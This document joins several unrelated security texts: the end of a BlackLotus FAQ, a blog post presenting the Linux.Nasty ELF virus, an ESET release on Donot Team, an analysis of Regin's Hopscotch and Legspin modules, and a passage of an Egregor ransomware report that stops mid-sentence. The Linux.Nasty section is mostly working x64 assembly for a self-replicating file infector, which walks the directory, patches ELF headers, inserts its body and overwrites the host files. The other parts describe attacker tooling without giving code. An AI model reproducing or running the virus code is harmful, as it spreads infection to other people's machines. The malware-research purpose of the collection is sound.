hashes to define Secure Boot policy. Pilot efforts have proven effective at preventing threats like BlackLotus, Baton Drop, BootHole, and similar prior to discovery. However, the administrative overhead and vendor collaboration necessary represent a resource investment not appropriate for most enterprise infrastructures. The process of fully customizing Secure Boot is also not capable of being automated outside of a narrow selection of workstation and server products. 14. **Can Trusted eXecution Technology (TXT) stop BlackLotus?** Yes, if and only if the TPM non-volatile memory (NVRAM) policy is set to boot a specific boot loader. In practice, setting a specific boot loader has caused administrative challenges when handling updates that affect the EFI boot partition. TXT is not a recommended mitigation given the likelihood to render endpoints temporarily unbootable. 15. **Are virtual machines affected?** Yes. VMs boot into a virtual UEFI environment. BlackLotus targets the OS software boot loaders that execute following the virtual firmware initialization.
# Linux.Nasty: Assembly x64 ELF virus **Guilherme Thomazi** **May 18, 2022** **18 minute read** ## Overview This code was originally published in the first issue of tmp.0ut zine - an ELF Research Group founded by me and a super talented group of friends in early 2021. This project was finished literally minutes before the deadline we set. Living on the edge! In general, it took me around a couple of months to complete it, most of the time was dedicated to its core infection routine since the auxiliary sections are common file I/O operations that I’m already familiar with. It was somewhat more challenging than Linux.Midrashim as the technique used here is not as trivial to implement and I want to thank everyone that helped me debug the final version. It was great to have those sessions with all of you, I learned a lot. This is the fruit of an internal project we had in mind back then. Create an Assembly version of the most common ELF infection techniques out there for demonstration and research purposes. - Linux.Midrashim was my first one (PT_NOTE -> PT_LOAD technique). - Linux.Nasty (Reverse Text Segment technique). As always (again), the payload is non-destructive, detection is easy and samples were shared with relevant AV companies before release. ## How it works Linux.Nasty is a 64 bits Linux infector that targets ELF files in the current directory (non-recursively). It uses the Reverse Text Segment infection technique and will only work on regular ELF executables (the design of this method, unfortunately, prevents it from working with PIE). Quoting chapter 4 of the book *Learning Linux Binary Analysis* by Ryan "elfmaster" O’Neill, which is awesome and you should check it out: "The idea is that a virus or parasite can make room for its code by extending the text segment in reverse. The program header for the text segment will look strange if you know what you're looking for." Here’s the infected file layout (taken from the book mentioned above, slightly modified). This project was inspired largely by elfmasters Skeksi but the algorithm is slightly modified. Also check the original paper by Silvio Cesare. ## Code The virus must be assembled with FASM x64 and its core functionality consists of: - Reserving space on stack to store some values in memory; - Using actual Assembly structs (not like in Linux.Midrashim where I simply used the stack without any Assembly syntax). Improves readability without affecting its functionality in general; - Loop through files in the current directory, checking for targets for infection; - Try to infect target file (map it to memory, check if it is a good candidate for infection, etc); - Continue looping the directory until no more infection targets are available, then exit; The code could be somewhat unreliable as of time of writing because it was a bit rushed so you might need to fix a thing or two before using it on a different system much than the one I used for development (FASM 1.73.27 on Linux 5.11.14-gentoo). The full code with comments is available at [GitHub](https://github.com/guitmz/nasty) and we’ll now go over each step above with a bit more detail. ### First things first For the stack buffer, I like to use the `r15` register and add the comments below for reference when browsing the code. ```assembly ; Stack buffer: ; r13 = target temp file fd ; r14 = target mmap addr ; r15 = STAT ; r15 + 150 = patched jmp to OEP ; r15 + 200 = DIRENT.d_name ; r15 + 500 = directory size ; r15 + 600 = DIRENT ``` Then we have the structs definitions, they will be loaded in the stack later with the help of the aforementioned `r15` register. ```assembly struc DIRENT { .d_ino rq 1 .d_off rq 1 .d_reclen rw 1 .d_type rb 1 label .d_name byte } virtual at 0 DIRENT DIRENT sizeof.DIRENT = $ - DIRENT end virtual struc STAT { .st_dev rq 1 .st_ino rq 1 .st_nlink rq 1 .st_mode rd 1 .st_uid rd 1 .st_gid rd 1 .pad0 rb 4 .st_rdev rq 1 .st_size rq 1 .st_blksize rq 1 .st_blocks rq 1 .st_atime rq 1 .st_atime_nsec rq 1 .st_mtime rq 1 .st_mtime_nsec rq 1 .st_ctime rq 1 .st_ctime_nsec rq 1 } virtual at 0 STAT STAT sizeof.STAT = $ - STAT end virtual struc EHDR { .magic rd 1 .class rb 1 .data rb 1 .elfversion rb 1 .os rb 1 .abiversion rb 1 .pad rb 7 .type rb 2 .machine rb 2 .version rb 4 .entry rq 1 .phoff rq 1 .shoff rq 1 .flags rb 4 .ehsize rb 2 .phentsize rb 2 .phnum rb 2 .shentsize rb 2 .shnum rb 2 .shstrndx rb 2 } virtual at 0 EHDR EHDR sizeof.EHDR = $ - EHDR end virtual struc PHDR { .type rb 4 .flags rd 1 .offset rq 1 .vaddr rq 1 .paddr rq 1 .filesz rq 1 .memsz rq 1 .align rq 1 } virtual at 0 PHDR PHDR sizeof.PHDR = $ - PHDR end virtual struc SHDR { .name rb 4 .type rb 4 .flags rq 1 .addr rq 1 .offset rq 1 .size rq 1 .link rb 4 .info rb 4 .addralign rq 1 .entsize rq 1 .hdr_size = $ - .name } virtual at 0 SHDR SHDR sizeof.SHDR = $ - PHDR end virtual ``` Let’s reserve the stack space. Going for 2000 bytes this time, then pointing `rsp` to `r15`. ```assembly sub rsp, 2000 ; reserving 2000 bytes mov r15, rsp ; r15 has the reserved stack buffer address ``` There are no mechanisms to detect the first execution (first generation) of the virus in Linux.Nasty. I had no time to do anything cool and didn’t feel like reusing stuff from other projects. ### Target acquired Finding infection targets is nothing special, the code is largely the same (at least the logic is very similar) in most of my projects. We open the current directory in read mode with `getdents64` syscall, which will return the number of entries in it. That goes into the stack buffer. Interesting fact: according to Linus, this syscall is very expensive. The locking is such that only one process can be reading a given directory at any given time. If that process must wait for disk I/O, it sleeps holding the inode semaphore and blocks all other readers - even if some of the others could work with parts of the directory which are already in memory. ```assembly load_dir: push "." ; pushing "." to stack (rsp) mov rdi, rsp ; moving "." to rdi mov rsi, O_RDONLY xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall ; rax contains the fd mov r8, rax ; mov fd to r8 temporarily mov rdi, rax ; move fd to rdi lea rsi, [r15 + 600 + DIRENT] ; rsi = dirent in stack mov rdx, DIRENT_BUFSIZE ; buffer with maximum directory size mov rax, SYS_GETDENTS64 syscall mov r9, rax ; r9 now contains the directory entries mov rdi, r8 ; load open dir fd from r8 mov rax, SYS_CLOSE ; close source fd in rdi syscall test r9, r9 ; check directory list was successful js cleanup ; if negative code is returned, I failed and should exit mov qword [r15 + 500], r9 ; [r15 + 500] now holds directory size xor rcx, rcx ; will be the position in the directory entries ``` Looping through files in the current directory looks like this: - Open a file (read/write mode); - Copy its file name to the stack buffer; - If the file cannot be opened, skip it and try the next one. ```assembly file_loop: push rcx ; preserving rcx cmp [rcx + r15 + 600 + DIRENT.d_type], DT_REG ; check if it's a regular file dirent.d_type jne .continue ; if not, proceed to next file .open_target: push rcx lea rdi, [rcx + r15 + 600 + DIRENT.d_name] ; dirent.d_name from stack mov rsi, O_RDWR ; opening target in read/write mode xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall test rax, rax ; if can't open file, try next one js .continue ; this also kinda prevents self infection since you cannot open a running file in write mode (which will happen during first execution) mov r8, rax ; load r8 with source fd from rax xor rax, rax ; clearing rax, will be used to copy host filename to stack buffer pop rcx lea rsi, [rcx + r15 + 600 + DIRENT.d_name] ; put address into the source index lea rdi, [r15 + 200] ; put address into the destination index (that is in stack buffer at [r15 + 200]) .copy_host_name: mov al, [rsi] ; copy byte at address in rsi to al inc rsi ; increment address in rsi mov [rdi], al ; copy byte in al to address in rdi inc rdi ; increment address in rdi cmp al, 0 ; see if its an ascii zero jne .copy_host_name ; jump back and read next byte if not ... .continue: pop rcx ; restore rcx, used as counter for directory length add cx, [rcx + r15 + 600 + DIRENT.d_reclen] ; adding directory record length to cx (lower rcx, for word) cmp rcx, qword [r15 + 500] ; comparing rcx counter with directory records total size jne file_loop ; if counter is not the same, continue loop ``` The target file is then mapped to memory for further checks and/or manipulation: - Get file information with `fstat`; - Map the file with `mmap`; - Check if the file is a valid ELF x86_64 binary; - Check if the file is already infected. ```assembly .map_target: mov rdi, r8 ; load source fd to rdi lea rsi, [r15 + STAT] ; load fstat struct to rsi mov rax, SYS_FSTAT syscall ; fstat struct in stack contains target file information xor rdi, rdi ; operating system will choose mapping destination mov rsi, [r15 + STAT.st_size] ; load rsi with file size from fstat.st_size in stack mov rdx, PROT_READ or PROT_WRITE ; protect RW = PROT_READ (0x01) | PROT_WRITE (0x02) mov r10, MAP_PRIVATE ; pages will be private xor r9, r9 ; offset inside source file (zero means start of source file) mov rax, SYS_MMAP syscall ; now rax will point to mapped location push rax ; push mmap addr to stack mov rdi, r8 ; rdi is now target fd mov rax, SYS_CLOSE ; close source fd in rdi syscall pop rax ; restore mmap addr from stack test rax, rax ; test if mmap was successful js .continue ; skip file if not .is_elf: cmp [rax + EHDR.magic], 0x464c457f ; 0x464c457f means .ELF (dword, little-endian) jnz .continue ; not an ELF binary, close and continue to next file if any .is_64: cmp [rax + EHDR.class], ELFCLASS64 ; check if target ELF is 64bit jne .continue ; skip it if not cmp [rax + EHDR.machine], EM_X86_64 ; check if target ELF is x86_64 architecture jne .continue ; skip it if not .is_infected: cmp dword [rax + EHDR.pad], 0x005a4d54 ; check signature in ehdr.pad (TMZ in little-endian, plus trailing zero to fill up a word size) jz .continue ; already infected, close and continue to next file if any ``` If all checks pass, calls `infect` routine. ```assembly .infection_candidate: call infect ; calls infection routine ``` ## Crafting something great Here lies the core part of the code. It starts by loading `r9` to the Program Headers offset based on `rax` (I move this to `r14` to make it easier to use since `rax` is required for a bunch of other operations), which now points to the base address of the memory mapped target file. `r12` points to the Section Headers offset. ```assembly infect: push rbp ; save the stack frame of the caller mov rbp, rsp ; save the stack pointer mov r14, rax ; r14 = pointer to target bytes (memory map address) mov r9, [r14 + EHDR.phoff] ; set r9 to offset of PHDRs mov r12, [r14 + EHDR.shoff] ; set r12 to offset of SHDRs xor rbx, rbx ; initializing phdr loop counter in rbx xor rcx, rcx ; initializing shdr loop counter in rdx ``` For each program header, some checks are performed. We need to patch all `phdrs` and the `.text` segment requires special attention. We assume `PAGE_SIZE` to be 4096 bytes here but ideally it should be calculated dynamically. First, verify if its type is `PT_LOAD`: - if yes, is it the `.text` segment? - if we got it, patch it following the Reverse Text Segment method, slightly modified in this case for demonstration: - `p_vaddr` is decreased by `2 * PAGE_SIZE`; - `p_filesz` is increased by `2 * PAGE_SIZE`; - `p_memsz` is increased by `2 * PAGE_SIZE`; - `p_offset` is decreased by `PAGE_SIZE`; - if not, we just increase this header `p_offset` by `PAGE_SIZE`. ```assembly .loop_phdr: cmp [r14 + r9 + PHDR.type], PT_LOAD ; check if phdr.type is PT_LOAD jnz .not_txt_segment ; if not, patch it as needed cmp [r14 + r9 + PHDR.flags], PF_R or PF_X ; check if PT_LOAD is text segment jnz .not_txt_segment ; if not, patch it as needed .txt_segment: sub [r14 + r9 + PHDR.vaddr], 2 * PAGE_SIZE ; decrease p_vaddr by 2 times PAGE_SIZE add [r14 + r9 + PHDR.filesz], 2 * PAGE_SIZE ; increase p_filesz by 2 times PAGE_SIZE add [r14 + r9 + PHDR.memsz], 2 * PAGE_SIZE ; increase p_memsz by 2 times PAGE_SIZE sub [r14 + r9 + PHDR.offset], PAGE_SIZE ; decrease p_offset by PAGE_SIZE mov r8, [r14 + r9 + PHDR.vaddr] ; contains .text segment patched vaddr, will be used to patch entrypoint jmp .next_phdr ; proceed to next phdr .not_txt_segment: add [r14 + r9 + PHDR.offset], PAGE_SIZE ; patching p_offset of phdrs that are not the .text segment (increase by PAGE_SIZE) .next_phdr: inc bx ; increase phdr bx counter cmp bx, word [r14 + EHDR.phnum] ; check if we looped through all phdrs already jge .loop_shdr ; exit loop if yes add r9w, word [r14 + EHDR.phentsize] ; otherwise, add current ehdr.phentsize into r9w jnz .loop_phdr ; read next phdr ``` Section headers also require their offsets to be increased by `PAGE_SIZE`. Let’s do this now. ```assembly .loop_shdr: add [r14 + r12 + SHDR.offset], PAGE_SIZE ; increase shdr.offset by PAGE_SIZE .next_shdr: inc cx ; increase shdr cx counter cmp cx, word [r14 + EHDR.shnum] ; check if we looped through all shdrs already jge .create_temp_file ; exit loop if yes add r12w, word [r14 + EHDR.shentsize] ; otherwise, add current ehdr.shentsize into r12w jnz .loop_shdr ; read next shdr ``` Before continuing with patching the ELF header, we create a temporary file named `.nty.tmp` which will contain our final infected target. There are other ways to do this, explore at your leisure. ```assembly .create_temp_file: push 0 mov rax, 0x706d742e79746e2e ; pushing ".nty.tmp\0" to stack push rax ; this will be the temporary file name, not great but it's for demonstration only mov rdi, rsp mov rsi, 755o ; -rw-r--r-- mov rax, SYS_CREAT ; creating temporary file syscall test rax, rax ; check if temporary file creation worked js .infect_fail ; if negative code is returned, I failed and should exit mov r13, rax ; r13 now contains temporary file fd ``` Patching the ELF header is trivial here, we account for the `phdrs` and `shdrs` changes made earlier. Increasing `phoff` and `shoff` by `PAGE_SIZE` will do. The infection signature is then added and the entry point is modified to point to the patched `.text` segment. As an empty temporary file was already created, the patched `ehdr` is now going to be written to it at position 0. ```assembly .patch_ehdr: mov r10, [r14 + EHDR.entry] ; set host OEP to r10 add [r14 + EHDR.phoff], PAGE_SIZE ; increment ehdr->phoff by PAGE_SIZE add [r14 + EHDR.shoff], PAGE_SIZE ; increment ehdr->shoff by PAGE_SIZE mov dword [r14 + EHDR.pad], 0x005a4d54 ; add signature in ehdr.pad (TMZ in little-endian, plus trailing zero to fill up a word size) add r8, EHDR_SIZE ; add EHDR size to r8 (patched .text segment vaddr) mov [r14 + EHDR.entry], r8 ; set new EP to value of r8 mov rdi, r13 ; target fd from r13 mov rsi, r14 ; mmap *buff from r14 mov rdx, EHDR_SIZE ; sizeof ehdr mov rax, SYS_WRITE ; write patched ehdr to target host syscall cmp rax, 0 jbe .infect_fail ``` Right after the `ehdr`, the virus body is added to the temporary file. ```assembly .write_virus_body: call .delta ; the age old trick .delta: pop rax sub rax, .delta mov rdi, r13 ; target temporary fd from r13 lea rsi, [rax + v_start] ; load *v_start mov rdx, V_SIZE ; virus body size mov rax, SYS_WRITE syscall cmp rax, 0 jbe .infect_fail ``` Additionally, a way to give control back to the original target code is required, so a small `jmp` is added (in this case, it’s a `push/ret`), which will do just that after the virus execution finishes on an infected file. ```assembly .write_patched_jmp: mov byte [r15 + 150], 0x68 ; 68 xx xx xx xx c3 (this is the opcode for "push addr" and "ret") mov dword [r15 + 151], r10d ; on the stack buffer, prepare the jmp to host EP instruction mov byte [r15 + 155], 0xc3 ; this is the last thing to run after virus execution, before host takes control mov rdi, r13 ; r9 contains fd lea rsi, [r15 + 150] ; rsi = patched push/ret in stack buffer = [r15 + 150] mov rdx, 6 ; size of push/ret mov rax, SYS_WRITE syscall ``` The original host code (minus its `ehdr`) can now be placed into the temporary file with `PAGE_SIZE` used as padding. The length of the code above (6 bytes) also has to be taken into consideration in this step. ```assembly .write_everything_else: mov rdi, r13 ; get temporary fd from r13 mov rsi, PAGE_SIZE sub rsi, V_SIZE + 6 ; rsi = PAGE_SIZE + sizeof(push/ret) mov rdx, SEEK_CUR mov rax, SYS_LSEEK ; moves fd pointer to position right after PAGE_SIZE + 6 bytes syscall mov rdi, r13 lea rsi, [r14 + EHDR_SIZE] ; start from after ehdr on target host mov rdx, [r15 + STAT.st_size] ; get size of host file from stack sub rdx, EHDR_SIZE ; subtract EHDR size from it (since we already have written an EHDR) mov rax, SYS_WRITE ; write rest of host file to temporary file syscall mov rax, SYS_SYNC ; committing filesystem caches to disk syscall ``` To finish the infection routine, the target file is unmapped from memory and the crafted temporary file is closed. The temporary file is renamed to match the target file name and the routine will return to a previous address to execute the payload and some final cleanup code. ```assembly .end: mov rdi, r14 ; gets mmap address from r14 into rdi mov rsi, [r15 + STAT.st_size] ; gets size of host file from stack buffer mov rax, SYS_MUNMAP ; unmapping memory buffer syscall mov rdi, r13 ; rdi is now temporary file fd mov rax, SYS_CLOSE ; close temporary file fd syscall push 0 mov rax, 0x706d742e79746e2e ; pushing ".nty.tmp\0" to stack push rax ; as you know by now, this should have been done in a better way :) mov rdi, rsp ; get temporary file name from stack into rdi lea rsi, [r15 + 200] ; sets rsi to the address of the host file name from stack buffer mov rax, SYS_RENAME ; replace host file with temporary file (sort of like "mv tmp_file host_file") syscall mov rax, 0 ; infection seems to have worked, set rax to zero as marker mov rsp, rbp ; restore the stack pointer pop rbp ; restore the caller's stack frame jmp .infect_ret ; returns with success .infect_fail: mov rax, 1 ; infection failed, set rax to 1 as marker .infect_ret: ret ``` ## Ciao The payload consists of a simple text message, displayed to `stdout`. Nothing else. Afterwards, the virus will “give back” the bytes it reserved in the beginning of its code, clear `rdx` register (because ABI), and exit. ```assembly call payload ; by calling payload label, we set msg label address on stack msg: db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x20, 0x62, 0x79, 0x20, 0x54, 0x4d, 0x5a, 0x20, 0x28, 0x63, 0x29, 0x20, 0x32, 0x30, 0x32, 0x31, 0x0a, 0x0a db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a db 0x54, 0x72, 0x69, 0x70, 0x6c, 0x65, 0x20, 0x58, 0x20, 0x72, 0x61, 0x74, 0x65, 0x64, 0x0a db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a db 0x4a, 0x75, 0x73, 0x74, 0x69, 0x63, 0x65, 0x2c, 0x20, 0x61, 0x20, 0x77, 0x61, 0x73, 0x74, 0x65, 0x2d, 0x70, 0x69, 0x74, 0x0a db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a db 0x44, 0x65, 0x65, 0x70, 0x65, 0x72, 0x20, 0x69, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x69, 0x72, 0x74, 0x0a db 0x4e, 0x61, 0x73, 0x74, 0x79, 0x2c, 0x20, 0x6e, 0x61, 0x73, 0x74, 0x79, 0x0a db 0x4d, 0x61, 0x6b, 0x69, 0x6e, 0x67, 0x20, 0x62, 0x6f, 0x64, 0x69, 0x65, 0x73, 0x20, 0x68, 0x75, 0x72, 0x74, 0x0a, 0x0a len = $-msg payload: pop rsi ; gets msg address from stack into rsi mov rax, SYS_WRITE mov rdi, STDOUT ; display payload mov rdx, len syscall jmp cleanup ; finishes execution ... cleanup: add rsp, 2000 ; restoring stack so host process can run normally, this also could use some improvement xor rdx, rdx ; clearing rdx before giving control to host (rdx a function pointer that the application should register with atexit - from x64 ABI) v_stop: xor rdi, rdi ; exit code 0 mov rax, SYS_EXIT syscall ``` ## Outro This was such an amazing project. Not only I was able to learn even more about the ELF format, but I also had people that I respect and admire involved. This post was also delayed for quite a bit, our zine even had a second release by now. I am so proud of it and I hope that tmp.0ut continues to thrive and gather people from all around the world that wants to share knowledge and, more importantly, have fun. TMZ
# ESET Research Investigates Donot Team: Cyberespionage Targeting Military & Governments in South Asia ESET has analyzed two variants of the yty malware framework: Gedit and DarkMusical. ESET researchers have decided to call one of the variants DarkMusical because many of the names the attackers chose for their files and folders are inspired by the movie *High School Musical*. These attacks are focused on government and military organizations, Ministries of Foreign Affairs, and embassies and are motivated by cyberespionage. Targets are primarily located in South Asia – Bangladesh, Sri Lanka, Pakistan, and Nepal. However, targeting embassies of these countries in other regions, such as the Middle East, Europe, North America, and Latin America, has been observed. ESET’s investigation spans more than a year from September 2020 to October 2021. A recent report by Amnesty International links the group’s malware to an Indian cybersecurity company that may be selling the spyware. The group has consistently targeted the same organizations for at least the last two years, and it’s possible that the attackers have compromised the email accounts of some of their victims. ESET researchers have uncovered recent campaigns and an updated threat arsenal of the infamous APT group Donot Team (also known as APT-C-35 and SectorE02). According to research findings, the group is very persistent and has consistently targeted the same organizations for at least the last two years. For this research, ESET monitored Donot Team for more than a year from September 2020 to October 2021. According to ESET telemetry, the APT group focuses on a small number of targets primarily in South Asia — Bangladesh, Sri Lanka, Pakistan, and Nepal. However, targeting embassies of these countries in other regions, such as the Middle East, Europe, North America, and Latin America, is not outside the group’s realm. These attacks are focused on government and military organizations, Ministries of Foreign Affairs, and embassies and are motivated by cyberespionage. Donot Team is a threat actor operating since at least 2016 that is known for targeting organizations and individuals in South Asia with Windows and Android malware. A recent report by Amnesty International links the group’s malware to an Indian cybersecurity company that may be selling the spyware or offering a hackers-for-hire service to governments of the region. “We have been closely following the activities of Donot Team and have traced several campaigns that leverage Windows malware derived from the group’s signature yty malware framework,” says ESET researcher Facundo Muñoz, who led the investigation into the group’s activities. The main purpose of the “yty” malware framework is to collect and exfiltrate data. The malicious framework consists of a chain of downloaders that ultimately download a backdoor with minimal functionality, used to download and execute further components of Donot Team’s toolset. These include file collectors based on file extension and year of creation, screen capturers, keyloggers, reverse shells, and more. According to ESET telemetry, Donot Team has been consistently targeting the same entities with waves of spearphishing emails every two to four months. The spearphishing emails have malicious Microsoft Office documents attached that the attackers use to deploy their malware. Interestingly, the emails that ESET researchers were able to retrieve and analyze did not show signs of spoofing. “Some emails were sent from the same organizations that were being attacked. It’s possible that the attackers may have compromised the email accounts of some of their victims in earlier campaigns, or the email server used by those organizations,” says Muñoz. In the latest blog post, ESET has analyzed two variants of the yty malware framework: Gedit and DarkMusical. ESET researchers have decided to call one of the variants DarkMusical because of the names the attackers chose for their files and folders: many are western celebrities or characters in the movie *High School Musical*. This variant was used in campaigns targeting military organizations in Bangladesh and Nepal. For more technical details about Donot Team’s latest campaigns, refer to the blog post “DoNot Go! Do not respawn!” on WeLiveSecurity. ## About ESET For more than 30 years, ESET® has been developing industry-leading IT security software and services to protect businesses, critical infrastructure, and consumers worldwide from increasingly sophisticated digital threats. From endpoint and mobile security to endpoint detection and response, as well as encryption and multifactor authentication, ESET’s high-performing, easy-to-use solutions unobtrusively protect and monitor 24/7, updating defenses in real time to keep users safe and businesses running without interruption. Evolving threats require an evolving IT security company that enables the safe use of technology. This is backed by ESET’s R&D centers worldwide, working in support of our shared future.
# An analysis of Regin's Hopscotch and Legspin With high profile threats like Regin, mistakes are incredibly rare. However, when it comes to humans writing code, some mistakes are inevitable. Among the most interesting things we observed in the Regin malware operation were the forgotten codenames for some of its modules. These are: Hopscotch, Legspin, Willischeck, U_STARBUCKS. We decided to analyze two of these modules in more detail - Hopscotch and Legspin. Despite the overall sophistication (and sometimes even over-engineering) of the Regin platform, these tools are simple, straightforward and provide interactive console interfaces for Regin operators. What makes them interesting is the fact they were developed many years ago and could even have been created before the Regin platform itself. ## The Hopscotch module **MD5:** 6c34031d7a5fc2b091b623981a8ae61c **Size:** 36864 bytes **Type:** Win32 EXE **Compiled:** 2006.03.22 19:09:29 (GMT) This module has another binary inside, stored as resource 103: **MD5:** 42eaf2ab25c9ead201f25ecbdc96fb60 **Size:** 18432 bytes **Type:** Win32 EXE **Compiled:** 2006.03.22 19:09:29 (GMT) This executable module was designed as a standalone interactive tool for lateral movement. It does not contain any exploits but instead relies on previously acquired credentials to authenticate itself at the remote machine using standard APIs. The module receives the name of the target machine and an optional remote file name from the standard input (operator). The attackers can choose from several options at the time of execution and the tool provides human-readable responses and suggestions for possible input. Here's an example of "Hopscotch" running inside a virtual machine: ``` Authentication Mechanism (SU or NETUSE) [S]/N: Continue? [n]: A File of the same name was already present on Remote Machine - Not deleting... ``` The module can use two routines to authenticate itself at the target machine: either connecting to the standard share named "IPC$" (method called "NET USE") or logging on as a local user ("SU", or "switch user") who has enough rights to proceed with further actions. It then extracts a payload executable from its resources and writes it to a location on the target machine. The default location for the payload is: `\\%target%\ADMIN$\SYSTEM32\SVCSTAT.EXE`. Once successful, it connects to the remote machine's service manager and creates a new service called "Service Control Manager" to launch the payload. The service is immediately started and then stopped and deleted after one second of execution. The module establishes a two-way encrypted communication channel with the remote payload SVCSTAT.EXE using two named pipes. One pipe is used to forward input from the operator to the payload and the other writes data from the payload to the standard output. Data is encrypted using the RC4 algorithm and the initial key exchange is protected using asymmetric encryption. ``` \\%target%\pipe\{66fbe87a-4372-1f51-101d-1aaf0043127a} \\%target%\pipe\{44fdg23a-1522-6f9e-d05d-1aaf0176138a} ``` Once completed, the tool deletes the remote file and closes the authenticated sessions, effectively removing all the traces of the operation. The SVCSTAT.EXE payload module launches its copy in the process dllhost.exe and then prepares the corresponding named pipes on the target machine and waits for incoming data. Once the original module connects to the pipe, it sets up the encryption of the pipe communication and waits for the incoming shellcode. The executable is injected in a new process of dllhost.exe or svchost.exe and executed, with its input and output handles redirected to the remote plugin that initiated the attack. This allows the operator to control the injected module and interact with it. ## The Legspin module **MD5:** 29105f46e4d33f66fee346cfd099d1cc **Size:** 67584 bytes **Type:** Win32 EXE **Compiled:** 2003.03.17 08:33:50 (GMT) This module was also developed as a standalone command line utility for computer administration. When run remotely it becomes a powerful backdoor. It is worth noting that the program has full console support and features colored output when run locally. It can even distinguish between consoles that support Windows Console API and TTY-compatible terminals that accept escape codes for coloring. In addition to the compilation timestamp found in the PE headers, there are two references that point to 2003 as its true year of compilation. The program prints out two version labels: **2002-09-A**, referenced as "lib version" **2003-03-A** In addition, the program uses legacy API functions, like "NetBIOS" that was introduced in Windows 2000 and deprecated in Windows Vista. Once started and initialized, it provides the operator with an interactive command prompt, waiting for incoming commands. The list of available commands is pretty large and allows the operators to perform many administrative actions. Some of the commands require additional information that is requested from the operator, and the commands provide a text description of the available parameters. The program is actually an administrative shell that is intended to be operated manually by the attacker/user. **Command** | **Description** --- | --- cd | Change current working directory dir | List files and directories ls | dirl | dirs | tar | Find files matching a given mask and time range, and write their contents to a XOR-encrypted archive tree | Print out a directory tree using pseudographics trash | Read and print out the contents of the Windows "Recycle Bin" directory get | Retrieve an arbitrary file from the target machine, LZO compressed put | Upload an arbitrary file to the target machine, LZO compressed del | Delete a file ren | Copy or move a file to a new location mv | copy | cp | gtm | Get file creation, access, write timestamps and remember the values stm | Set file creation, access, write timestamps to the previously retrieved values mtm | Modify the previously retrieved file timestamps scan | Find and print out all readable strings from a given file strings | more | Print out the contents of an arbitrary file access | Retrieve and print out DACL entries of files or directories audit | Retrieve and print out SACL entries of files or directories finfo | Retrieve and print out version information from a given file cs | Dump the first 10,000 bytes from an arbitrary file or from several system files: | advapi32.dll | kernel32.dll | msvcrt.dll | ntdll.dll | ntoskrnl.exe | win32k.sys | cmd.exe | ping.exe | ipconfig.exe | tracert.exe | netstat.exe | net.exe | user32.dll | gdi32.dll | shell32.dll lnk | Search for LNK files, parse and print their contents info | Print out general system information: | CPU type | memory status | computer name | Windows and Internet Explorer version numbers | Windows installation path | Codepage dl | Print information about the disks: | Type | Free/used space | List of partitions, their filesystem types ps | List all running processes logdump | Unfinished, only displays the parameter description reglist | Dump registry information for a local or remote hive windows | Enumerate all available desktops and all open windows view | List all visible servers in a domain domains | List the domain controllers in the network shares | List all visible network shares regs | Print additional system information from the registry: | IE version | Outlook Express version | Logon default user name | System installation date | BIOS date | CPU frequency | System root directory ips | List network adapter information: | DHCP/static IP address | Default gateway's address times | Obtain the current time from a local or remote machine who | List the names of current users and the domains accessed by the machine net | Run the corresponding system utility and print the results | nbtstat | tracert | ipconfig | netstat | ping tel | Connect to a given TCP port of a host, send a string provided by the operator, print out the response dns | Resolve a host using DNS or ARP requests arps | users | List information about all user accounts admins | List information about user accounts with administrative privileges groups | List information about user groups trusts | List information about interdomain trust user accounts packages | Print the names of installed software packages sharepw | Run a brute-force login attack trying to obtain the password of a remote share sharelist | Connect to a remote share srvinfo | Retrieve current configuration information for the specified server netuse | Connect, disconnect or list network shares netshare | Create or remove network shares on the current machine nbstat | List NetBIOS LAN adapter information run | Create a process and redirect its output to the operator system | Run an arbitrary command using WinExec API exit | Exit the program set | Set various internal variables used in other shell commands su | Log on as a different user kill | Terminate a process by its PID kpinst | Modify the registry value: | [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] System | This value should normally point to "lsass.exe". svc | Create, modify or remove a system service drv | help | Print the list of supported commands ? | The Legspin module we recovered doesn't have a built-in C&C mechanism. Instead, it relies on the Regin platform to redirect the console input/output to/from the operators. ## Conclusions Unlike most other Regin modules, Legspin and Hopscotch appear to be stand-alone tools developed much earlier. The Legspin backdoor in particular dates back to 2003 and perhaps even 2002. It's worth pointing that not all Regin deployments contain the Legspin module; in most cases, the attackers manage their victims through other Regin platform functions. This means that Legspin could have been used independently from the Regin platform, as a simple backdoor together with an input/output wrapper. Although more details about Regin are becoming available, there is still a lot that remains unknown. One thing is already clear – what we know about Regin is probably already retired information that has been replaced by new modules and techniques as time passes.
# Key Judgments - The Egregor ransomware is a complex piece of malware, employing obfuscation and anti-analysis techniques. In order to fully decrypt and deploy the payload, the password associated with the sample must be provided at runtime. - Egregor ransomware is connected to the QakBot operators. - The targets of the Egregor ransomware are organizations. This report provides an overview of the ransomware variant Egregor as well as suggested mitigations and detections. Recorded Future used the Recorded Future® Platform, PolySwarm, open source intelligence (OSINT) sources, and malware analysis to derive these detections. The target audience of this research includes day-to-day security practitioners as well as executive decision-makers concerned about targeting by ransomware threat actors. Egregor ransomware is part of the Sekhmet ransomware family and has been active since mid-September 2020. The name of the new ransomware strain, Egregor, is derived from Western occult traditions and is defined as the collective energy of a group of people, especially when aligned to a common goal. Like many current ransomware variants, Egregor uses the “double-extortion” model of both encrypting files and naming and shaming victims and releasing stolen data on an extortion website to increase pressure on a victim to pay the ransom. Egregor News is an extortion website operated by the threat actors behind Egregor ransomware and is used to post the names and domains, along with data sets of Egregor victims. If the victim refuses to pay within three days, the threat actors will continue to leak additional data in increments ranging from 1 percent to 100 percent of the total stolen data. The most high-profile Egregor victim to date is the bookseller Barnes & Noble, with the ransomware operators claiming they stole unencrypted data prior to encrypting files on October 10, 2020. ## Initial Access According to the information available on Egregor News, they claimed 133 victims and are responsible for 13 percent of all currently known ransomware extortion cases, which is a large number for just two months of operations. We believe that ransomware operators and their affiliates are opportunistic by nature regarding the initial access vectors used by the threat actors behind Egregor. Several other researchers have tied Egregor to the Maze ransomware variant at the technical level, suggesting that similar initial access techniques could be used by the 